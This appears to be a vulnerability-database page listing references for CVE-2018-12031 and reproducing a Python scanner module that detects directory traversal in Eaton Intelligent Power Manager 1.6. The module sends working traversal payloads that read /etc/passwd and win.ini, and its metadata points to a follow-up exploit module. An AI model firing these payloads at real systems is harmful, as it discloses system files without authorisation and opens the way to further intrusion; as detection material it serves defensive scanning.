Lucene search
+L

Eaton Intelligent Power Manager 1.6 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Eaton Intelligent Power Manager allows directory traversal leading to code execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Eaton Intelligent_Power_Manager
6 Jun 201815:31
–githubexploit
circl
Circl
CVE-2018-12031
12 Jan 202500:00
–circl
cnvd
CNVD
Eaton Intelligent Power Manager File Containment Vulnerability
12 Jun 201800:00
–cnvd
cve
CVE
CVE-2018-12031
7 Jun 201816:00
–cve
cvelist
Cvelist
CVE-2018-12031
7 Jun 201816:00
–cvelist
exploitdb
Exploit DB
Eaton Intelligent Power Manager 1.6 - Directory Traversal
22 Jun 202000:00
–exploitdb
kitploit
Kitploit
Eaton-Intelligent-Power-Manager-Local-File-Inclusion
15 Oct 202602:06
–kitploit
kittysploit
KittySploit
Eaton IPM LFI (CVE-2018-12031)
5 Oct 202614:20
–kittysploit
nuclei
Nuclei
Eaton Intelligent Power Manager 1.6 - Directory Traversal
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2018-12031
7 Jun 201816:29
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Eaton Intelligent Power Manager v1."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Eaton Intelligent Power Manager 1.6 - Directory Traversal Detection',
        'description': 'Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'edb', 'lfi', 'eaton', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/eaton_cve_2018_12031_lfi'],
            },
        },
        'references': [
            'https://github.com/EmreOvunc/Eaton-Intelligent-Power-Manager-Local-File-Inclusion',
            'https://www.exploit-db.com/exploits/48614',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-12031',
            'https://github.com/0xT11/CVE-POC',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2018-12031',
    }

    def run(self):
        for path in ('/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd', '/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            body_regexes = ('root:.*:0:0:', '\\[(font|extension|file)s\\]',)
            if (any(re.search(rx, body, 0) for rx in body_regexes)):
                self.set_info(
                    severity='critical',
                    reason="Eaton Intelligent Power Manager 1.6 - Directory Traversal detected",
                    path=path,
                )
                return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
CVSS 39.8
EPSS0.19477
2